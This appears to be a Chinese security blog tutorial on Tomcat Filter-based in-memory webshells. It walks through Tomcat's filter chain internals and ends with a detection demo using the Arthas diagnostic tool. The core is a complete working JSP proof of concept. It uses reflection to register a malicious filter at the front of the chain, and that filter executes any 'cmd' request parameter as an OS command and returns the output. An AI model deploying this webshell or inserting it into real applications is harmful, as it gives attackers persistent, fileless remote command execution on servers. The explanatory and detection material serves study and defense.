[Java安全]—再探Filter内存马

news2024/11/15 8:52:30

前言

关于tomcat反序列化注入回显内存马问题中，就是通过filter内存马进行反序列化动态注册的，但filter内存马由于当时学的时候就没有学的很明白，所以打算重新回顾一下。

前置知识

Tomcat 与 Servlet 的关系

Tomcat中有四种类型的Servlet容器，从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine，实现类为 org.apache.catalina.core.StandardEngine
  2. Host，实现类为 org.apache.catalina.core.StandardHost
  3. Context，实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper，实现类为 org.apache.catalina.core.StandardWrapper
  • Wrapper实例表示一个具体的Servlet定义，StandardWrapper是Wrapper接口的标准实现类（StandardWrapper 的主要任务就是载入Servlet类并且进行实例化），Wrapper 主要负责管理 Servlet ，包括的 Servlet 的装载、初始化、执行以及资源回收
  • Context 表示一个 Web 应用程序，而一个 Web 程序可 能有多个 Servlet(即：Wrapper)
  • Host 表示一个虚拟主机，或者说一个站点，一个 Tomcat 可以配置 多个站点（Host）；一个站点（ Host） 可以部署多个 Web 应用(即：Context)
  • Engine 代表 引擎， 用于管理多个站点（Host），一个 Service 只能有 一个 Engine

他们之间也就是一种父子关系：

image-20221203081413310.png

关键类

  • FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
  • FilterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain：过滤器链，该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml：存放 web.xml 中内容的类
  • ContextConfig：Web应用的上下文配置类
  • StandardContext：Context接口的标准实现类，一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper
  • StandardWrapperValve：一个 Wrapper 的标准实现类，一个 Wrapper 代表一个Servlet

原理

Servlet 有自己的过滤器filter，可以通过自定义的过滤器，来对用户的请求进行拦截等操作。

image-20220715213532387.png

经过 filter 之后才会到 Servlet ，那么如果我们动态创建一个 filter 并且将其放在最前面，我们的 filter 就会最先执行，当我们在 filter 中添加恶意代码，就会进行命令执行，这样也就成为了一个内存 Webshell，所以就需要我们想办法在最前方注册一个恶意的filter并执行。

Filter注册流程

先看一个正常的demo

filter.java

package memoryshell;

import javax.servlet.*;
import java.io.IOException;

public class filter implements Filter {

    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {
        System.out.println("Filter 销毁");
    }
}''
    ]]

web.xml

<filter>
    <filter-name>filterDemo</filter-name>
    <filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping>
    <filter-name>filterDemo</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

运行后成功触发

image-20220715112206095.png

createFilterChain

在 StandardWrapperValve 中会利用 ApplicationFilterFactory的createFilterChain()方法来创建filterChain

image-20221203085929212.png

跟进看一下，先通过请求获取到了filterChains，而此时其中没有任何值为null，所以又实例化了一个ApplicationFilterChain

image-20221203101217812.png

在下方获取到了wrapper的父类，根据前置知识中的tomcat与servlet关系也不难看出，warpper的父类也就是context，而context的实现类是StandardContext，因此在下方也可看出context的类型 也就是该类型。

之后通过context获取到了filterMapper

image-20221203092230143.png

FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

image-20221203092646247.png

接着在下方会对FilterMap进行遍历

image-20221203094140721.png

①：if判断，第一个matchDispatcher就不看了，就是匹配一下请求返回true，跟进下第二个matchFiltersURL()

其实就是匹配URL中的请求与与 FilterMap 中的 urlPattern中的是否一直，这里由于是/*所以直接返回true了

1%S8$G[06(ZZQ)EJD}04}JS.png

②：根据filterMap的filterName获取filterConfig(主要存放 FilterDef 和 Filter对象等信息)，由于是第一轮遍历，因此也就获取到了我们自定义的filter类和filterName

③：将 filterConfig 添加到 filterChain中，跟进addFilter函数

image-20221203095156354.png

在addFilter函数中首先会遍历filters，判断我们的filter是否已经存在（其实就是去重)

下面这个 if 判断其实就是扩容，如果 n 已经等于当前 filters 的长度了就再添加10个容量，最后将我们的filterConfig 添加到了filters中

至此filterChain就装配完了

doFilter

回到createFilterChain的位置，继续向下看，调用了doFilter()

image-20221203095757459.png

跟进后下边又调用了internalDoFilter()

this.internalDoFilter(request, response);

image-20221203100147801.png

①：pos的默认值是0，所以filterConfig取出来的数据也就是filters[0]，而在createFilterChain最后的addFilter函数中提到过，最后将我们的filterConfig 添加到了filters中，所以第一条数据就是我们自定义的filter类，第二条是tomcat原生的。因此这里第一轮遍历也就是获取到了自定义的filter类

②：通过getFilter()获取自定义的filter类，并将该值赋给filter属性

③：调用filter属性的doFilter方法

image-20221203100629137.png

流程总结

  1. 获取context容器，并从中取出filterMap，接着根据filterMap获取filterConfig并将它追加到了filterChains中
  2. 将filterChains中封装的filters数据，赋值给filterConfig，filterConfig通过getFilter方法获取到了自定义的filter类
  3. 调用该类的doFilter方法

内存马注入

获取context

在上边流程中提到，首先是通过StandardContext类型的context属性中获取的filterMap，那么我们如何获取这个context 呢？

当Web容器启动时，都会创建一个ServletContext上下文环境

context是ApplicationContext类型的，而ApplicationContext又是ServletContext的实现类，因此可以通过该方式，将ServletContext转为 StandardContext 从而获取context

ServletContext servletContext = req.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

还有其他的获取方法：

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

注入内存马

解决了context问题后，可以根据上边流程发现，其实主要就是用到了三个属性filterMap、filterConfig、filterDef

  • FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
  • filterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • filterMaps：一个存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  1. 创建恶意 Filter类
        //1、创建恶意filter类
		Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    //Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }
        };

2、利用 FilterDef 对 Filter 进行封装并添加到FilterDefs中

//2、创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("Sentiment");
filterDef.setFilterClass(filter.getClass().getName());

// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);

3、将FilterDefs 添加到FilterConfig

//3、将FilterDefs 添加到FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put("Sentiment",filterConfig);

这里需要注意：

像FilterDef、FilterMap是都有对应的add方法的，但是FilterConfig没有，因此是通过反射获取filterConfigs属性进行的赋值

image-20221203125621694.png

4、创建 FilterMap ，将Filter 和 urlpattern 相对应，存放到 filterMaps中（由于 Filter 生效有先后顺序，所以将自定义的filter放在最前面，让我们的 Filter 最先触发）

//4、创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("Sentiment");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);

最终POC

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field context = servletContext.getClass().getDeclaredField("context");
    context.setAccessible(true);

    // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
    Field context1 = applicationContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    // 这样我们就获取到了 context
    StandardContext standardContext = (StandardContext) context1.get(applicationContext);

    //1、创建恶意filter类
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null){
                byte[] bytes = new byte[1024];
                Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }

        @Override
        public void destroy() {

        }
    };
    //2、创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("Sentiment");
    filterDef.setFilterClass(filter.getClass().getName());

    // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
    standardContext.addFilterDef(filterDef);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put("Sentiment",filterConfig);

    //4、创建一个filterMap
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("Sentiment");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    //将自定义的filter放到最前边执行
    standardContext.addFilterMapBefore(filterMap);

    out.print("Inject Success !");

%>

访问filter.jsp，注入成功

image-20221203125837558.png

成功执行命令

image-20221203125908930.png

内存马检测工具

arthas：https://arthas.aliyun.com/arthas-boot.jar

alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)

java -jar arthas-boot.jar

选择我们 Tomcat 的进程

输入1进入进程

利用 sc *.Filter 进行模糊搜索，会列出所有调用了 Filter 的类

利用jad --source-only org.apache.jsp.filter_jsp$1 直接将 Class 进行反编译

可以监控进程，当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'

D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap
  [2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36
  [3]: 11480 org.jetbrains.jps.cmdline.Launcher
  [4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
  ,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---.
 /  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'

wiki       https://arthas.aliyun.com/doc
tutorials  https://arthas.aliyun.com/doc/arthas-tutorials.html
version    3.6.2
main_class
pid        13212
time       2022-12-03 12:10:04

[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1
        /*
         * Decompiled with CFR.
         *
         * Could not load the following classes:
         *  javax.servlet.Filter
         *  javax.servlet.FilterChain
         *  javax.servlet.FilterConfig
         *  javax.servlet.ServletException
         *  javax.servlet.ServletRequest
         *  javax.servlet.ServletResponse
         *  javax.servlet.http.HttpServletRequest
         */
        package org.apache.jsp;

        import java.io.IOException;
        import javax.servlet.Filter;
        import javax.servlet.FilterChain;
        import javax.servlet.FilterConfig;
        import javax.servlet.ServletException;
        import javax.servlet.ServletRequest;
        import javax.servlet.ServletResponse;
        import javax.servlet.http.HttpServletRequest;

        class filter_jsp.1
        implements Filter {
            filter_jsp.1() {
            }

            public void init(FilterConfig filterConfig) throws ServletException {
            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
/*173*/         HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/         if (req.getParameter("cmd") != null) {
/*175*/             byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/             int len = process.getInputStream().read(bytes);
/*179*/             servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/             process.destroy();
/*181*/             return;
                }
/*183*/         filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {
            }
        }

[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-12-03 12:23:35; [cost=0.7065ms] result=@ArrayList[
    @String[org.apache.jsp.filter_jsp$1],
    @String[memoryshell.filter],
    @String[org.apache.tomcat.websocket.server.WsFilter],
]

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Vue项目devServer.proxy代理配置详解目录概述需求&#xff1a;设计思路实现思路分析1..config.js文件中&#xff0c;引入依赖项2.devServer.proxy 可以是一个指向开发环境 API 服务器的字符串3.更多控制行为参考资料和推荐阅读Survive by day and develop by night. talk for i…
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语言模型也会“地域黑”？实验表明ALBERT最能黑，BART最友善

语言模型也会“地域黑”？实验表明ALBERT最能黑，BART最友善

文 | ZenMoore前言今天我们来谈论一个不那么硬核的问题&#xff1a;预训练语言模型中的歧视与偏见(bias)。这个问题虽然不像技术问题那样核心&#xff0c;但仍然非常重要。想象一下&#xff1a;你接到了一笔外交级别的订单&#xff0c;要做一个生成语言模型&#xff0c;先不论效…
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NNDL 实验七 循环神经网络（3）LSTM的记忆能力实验

NNDL 实验七 循环神经网络（3）LSTM的记忆能力实验

文章目录6.3 LSTM的记忆能力实验6.3.1 模型构建6.3.1.1 LSTM层6.3.1.2 模型汇总6.3.2 模型训练6.3.2.1 训练指定长度的数字预测模型6.3.2.2 多组训练6.3.2.3 损失曲线展示【思考题1】LSTM与SRN实验结果对比&#xff0c;谈谈看法。&#xff08;选做&#xff09;6.3.3 模型评价6.…
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Android OpenGL ES 学习(六) – 使用 VBO、VAO 和 EBO/IBO 优化程序

Android OpenGL ES 学习(六) – 使用 VBO、VAO 和 EBO/IBO 优化程序

OpenGL 学习教程 Android OpenGL ES 学习(一) – 基本概念 Android OpenGL ES 学习(二) – 图形渲染管线和GLSL Android OpenGL ES 学习(三) – 绘制平面图形 Android OpenGL ES 学习(四) – 正交投屏 Android OpenGL ES 学习(五) – 渐变色 代码工程地址&#xff1a; https://…
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【ARIMA时序预测】基于ARIMA实现时间序列数据预测附matlab代码

【ARIMA时序预测】基于ARIMA实现时间序列数据预测附matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …
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Unity常用的三种拖拽方法（内置方法 + 接口 + Event Trigger组件）

Unity常用的三种拖拽方法（内置方法 + 接口 + Event Trigger组件）

目录 内置方法OnMouseDrag【对象含有Collider组件】 配对小游戏 Event Trigger组件 接口 窗口小案例 内置方法OnMouseDrag【对象含有Collider组件】 OnMOuseOver()检测鼠标是否进入到这个2D贴图 当鼠标进入或离开2D贴图&#xff0c;会相应的放大、缩小 private void OnMo…
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[附源码]计算机毕业设计springboot校园快递柜存取件系统

[附源码]计算机毕业设计springboot校园快递柜存取件系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…
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山外山通过注册：拟募资12亿 大健康与华盖信诚是股东

山外山通过注册：拟募资12亿 大健康与华盖信诚是股东

雷递网 雷建平 12月2日重庆山外山血液净化技术股份有限公司&#xff08;简称&#xff1a;“山外山”&#xff09;日前通过注册&#xff0c;准备在科创板上市。山外山计划募资12.47亿元&#xff0c;其中&#xff0c;8.63亿用于血液净化设备及高值耗材产业化项目&#xff0c;1.64…
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